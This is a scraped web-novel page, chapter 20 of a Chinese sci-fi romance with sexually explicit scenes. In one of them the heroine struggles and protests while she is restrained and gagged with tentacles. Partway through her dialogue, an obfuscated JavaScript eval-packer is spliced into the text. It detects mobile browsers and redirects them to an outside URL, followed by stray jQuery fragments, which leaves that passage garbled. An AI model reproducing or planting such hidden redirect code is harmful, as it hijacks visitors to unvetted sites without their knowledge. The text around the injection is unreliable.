默认冷灰
24号文字
方正启体

20. 第 20 章

作者:清音彻本书字数:K更新时间:
    江樾他不是人!


    到最后,伊荼就像一只死不瞑目的怨鬼冤魂,满脑子都是这句话。


    只可惜她的实力和她骂人的水平一样菜。


    江樾还没怎么样,她自己已经快要死了。


    意识模糊间,她想到过去的事。


    当年第一军校的体测,她也参加了。虽然医学系不需要体测,但她很怕自己熬不过入学军训。


    成绩下来的时候,她本来没觉得自己那不到六十分的成绩有多丢人,但看到江樾满分的成绩后,她就不服气了。


    第一军校体测向来以严苛魔鬼著名,及格就算通过,上了七十分那都算了不起,没听说谁能满分的。


    于是她坚信,他肯定是贿赂考官了。


    现在想来,他可能是真的天赋异禀。


    据说人在死之前会看到走马灯,原来是真的。


    “有那么累吗?”依旧兴致勃勃精力充沛的江樾把她拉起来,换成面对面的姿势。


    “再坚持一下,这回真的是最后一次。”


    伊荼内心毫无波澜,她根本不信。


    不过有件事情也很奇怪,过了这么久,按照她的体质,应该早就晕过去了才对。


    今天她怎么还没晕。


    她眼神突然一亮。


    不如装晕吧。


    江樾做到一半,就发现伊荼闭上了眼睛。


    他停住动作,长眉一挑。


    “宝贝儿?”


    伊荼抿紧唇,差点被这个肉麻的称呼逼得破功。


    但她打定主意装晕,于是硬撑着一动不动。


    江樾叹息一声,自言自语:“看来是真的累晕了,既然如此,就进行下一个步骤吧。”


    下一个步骤?


    伊荼还没等想明白这下一个步骤是什么,身体的突然腾空让她心脏一突,全身都缩紧。


    江樾也被她弄得呼吸一窒,以自己的手臂为支撑,让人坐在自己小臂上,继续动作。


    伊荼彻底装不下去了,失重感让她紧紧抱住他的脖子,小腿也成十字状紧紧锁在他腰后。


    像落水之人抱着唯一的一根浮木。


    却仍旧被滔天巨浪劈头盖脸地拍下来,弄得浑身湿透,水液淋漓。


    最后,她失去了最后一丝力气,手臂松开,从他身上坠落。


    本以为会摔在地上,结果手腕被两根触手圈住,身体被悬在半空。


    她瞪大眼睛看着手腕上的深蓝色触手,突然想到什么,羞耻感让她不安地挣扎起来。


    “放开我!”


    江樾现在不是一个人,他吞噬了S级异种,那——


    他们现在在做的事,是不是异种也能看到?


    一想到这儿,她就感觉全无,小脸煞白地挣扎起来。


    “江樾,放开我!”


    她不挣扎还好,一挣扎,牵动重要部位,江樾更加控制不住自己的行为了。


    触手随他的心意而动,把人牢牢悬吊在空中,甚至有一根顺着雪白的肌肤探入柔软的口腔,把她抗拒的话语堵在喉咙里。


    从他的角度看过去,漂亮的小人儿被堵得呜呜说不出话来,估计是气着了,面颊从粉红变成通红,很快眸中蓄满了泪水。


    有一种暴烈的破坏欲从心底升腾而起,让他想要把眼前人囫囵个吞进肚子里。


    他握住她腿弯的手往后一拉,备受欺负的人睁大眼睛,结结实实撞在他身上,眸中的泪水被撞碎成点点泪花,顺着眼角流下来。


    无数只触手从江樾背后争先恐后地探出,托住伊荼悬空的身体,齐心协力将她送往江樾的方向。


    即使她挣扎,抗拒,柔软的触手也一直抵住她的喉咙,让她连尖叫声都发不出来。


    她像盘中鲜美的小羊羔,引颈就戮,被眼冒凶光的饿狼吃得渣都不剩。


    梦中仙的药效最多持续十二个小时,药效一过,她就晕了。


    这次是真晕。


    江樾看着被自己欺负得奄奄一息的人,良心发现,清理结束后抱着她去吃饭。


    伊荼裹在厚实宽大的毛毯里,被江樾抱孩子一样搂在怀里。


    她伸手拽下毛毯把自己的脸盖住,不想看见他。


    “乖。吃一口。”他果真像哄小孩一样哄着她。


    伊荼想起很久远的小时候,那时她还是生活在别墅里的公主,有疼爱她的妈妈爸爸。


    生病时妈妈会温柔地哄她吃饭吃药。


    可自从爸爸去世,妈妈改嫁,尤其是郭展鹏出生后,她便再也没有这样的待遇。


    原本属于她的一切,都被人抢走了。


    眼角处传来温热的触感,江樾的手指抹过,她眨眼,视野重新变得清晰。


    这才发现,自己居然哭了。


    “怎么了?”江樾低头,想看清她的神色。


    伊荼把脸藏在他颈窝,不给他看,小声地说:


    “都怪你。”


    “我讨厌你。”


    因为第一次时间太久玩得太过火,伊荼接下来的几天连走路都费劲。


    梦中仙的止痛药效过去后,她浑身上下都疼。


    江樾自知理亏,尽职尽责地帮她按摩。看着她因为疼而苍白的小脸,他心疼地说。


    “下次我轻点。”


    她趴在枕头上,下巴枕在胳膊上,气鼓鼓:


    “没有下次了。”


    受了这么大的罪,时间又这么久,本以为能怀上。


    结果他自备防护工具,据说还喝了诸葛小天给他开的药。


    简直是双管齐下,防得滴水不漏。


    气得伊荼去咬他的喉结:“你上辈子是计生办主任吧!”


    不过她倒是很好奇,既然有防护工具,之前为什么一直装矜持。


    她还以为是自己魅力不够呢。


    江樾解释是因为他现在体质特殊,只用防护工具怕不保险,得等诸葛小天的药研究出来一起用才安心。


    伊荼皮笑肉不笑地呵呵,夸五先生真是个旷世奇才,居然连男性避孕药都能研究出来。


    江樾也这么觉得,诸葛小天这个人确实厉害,给他点时间,说不定他以后真的能把结扎这门造福广大人类的技术研究出来并发扬光大。


    “我想好了。”伊荼说出之前和诸葛小天商量的planB。


    “既然之前S级异种被关在异种监狱,并未作恶,那政府和军队也没有杀死它的必要。现在S级异种在你身上,只要我们投诚,保证不出去作恶,配合他们的一切实验活动,就能获得一线生机。”


    “那群研究员既然能把它创造出来,给他们一点时间,他们也一定能把它从你身上分离出来的。”


    伊荼抓着他的手紧张地看着他,眼角和鼻尖还是红红的。


    “你答应我,不要丢下我一个人去死。”


    “一定还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343190|199459||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有其他办法的。”


    江樾凝视她良久,半晌将她拥入怀中,嗓音带着叹息。


    “好,我答应你。”


    为了彻底打消他去死的念头,伊荼只养了一周,感觉身上好得差不多了,就不怕死地又去撩拨他。


    江樾把人摸得脸颊微红呼吸急促后,刚往里探了一指节,对方就吃痛地皱起眉。


    他顿住,撤回手指,从抽屉里拿出一个东西放进去。


    感受到冰凉的触感,伊荼睁开眼疑惑问:“你放了什么?”


    “治疗仪。”他把东西往里送了送,伊荼顿时呜咽一声说不出话来。


    “是根据我的形状做的,不过尺寸小了两圈。怎么样,喜欢吗?”江樾语调暧昧地贴在她耳边。


    伊荼红着脸骂他:“你真不要脸!”


    疼痛的地方在治疗仪的作用下变得清凉,痛感也逐渐消失。


    江樾把她的衣服拉好,让她靠在自己怀里,二人一起看他手里的画册。


    前两页还是很可爱治愈的画风,从第三页开始,画风突变。


    伊荼震惊地看着图画上大胆的姿势,咋舌:“你从哪搞来的小黄书?”


    江樾笑了一下:“狱友的大作,顺手支持一下。”


    她翻到书籍封面,看到上面写着——


    金陵哭哭生,著。


    “这个金陵哭哭生,是你狱友?”伊荼好奇问。


    “嗯,传播□□物品罪进去的。不过早几年就被放出来了,估计已经从良了。”


    “这本是他最得意的作品,天天挂在嘴边我耳朵都听出茧子来了。所以搞来拜读一下。”


    伊荼一开始还不好意思,后来看得叹为观止。


    “还可以这样?好夸张。”


    人类的身体应该摆不出这样的姿势吧。


    “你有兴趣的话,我们下次试试。”江樾把她好奇的那页一角叠起来。


    伊荼扑过去抢他的书,气急败坏:“我才没兴趣,你少自说自话。”


    江樾把书高高举起来,让她够不到。


    趁她注意力在书上的时候,另一只手去寻治疗仪,上一秒还气势汹汹的人顿时浑身一软,倒在他身上。


    他扶着对方的腰,五指张开给她展示。


    晶莹的一片。


    “明明就很感兴趣。”江樾嘴角浮起不怀好意的笑。


    “江樾!你混蛋!”伊荼扑过去把他压在身下一顿爆锤。


    “江樾这个混蛋,到底在上面忙什么?都几天了,也不知道给我们送点干净的水和饭。”


    周治嗓音沙哑,捧着好不容易抢过来的水碗递到尹茶茶嘴边。


    “茶茶,喝一口吧。”


    尹茶茶也没条件嫌弃了,喝了几口后,干裂的嘴唇湿润几分。


    “我想回家。”她闻了闻自己身上的味道,悲从中来,声音带着哭腔。


    刚喝了一口水的周治立刻放下水碗哄她。


    “别哭,我们很快就能回家了,军队不会不管我们的。”


    好不容易把人哄好,他准备拿起水碗继续喝,结果一扭头,对上郑澍的大脸。


    后者趴在水碗边一口把剩余的水全喝了,然后抬头冲周治嘿嘿傻笑。


    周治面无表情地把他一巴掌扇飞。


    再在这破地方待下去,他也要像郑澍一样精神失常了。


    外面的人,到底什么时候来救他们?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)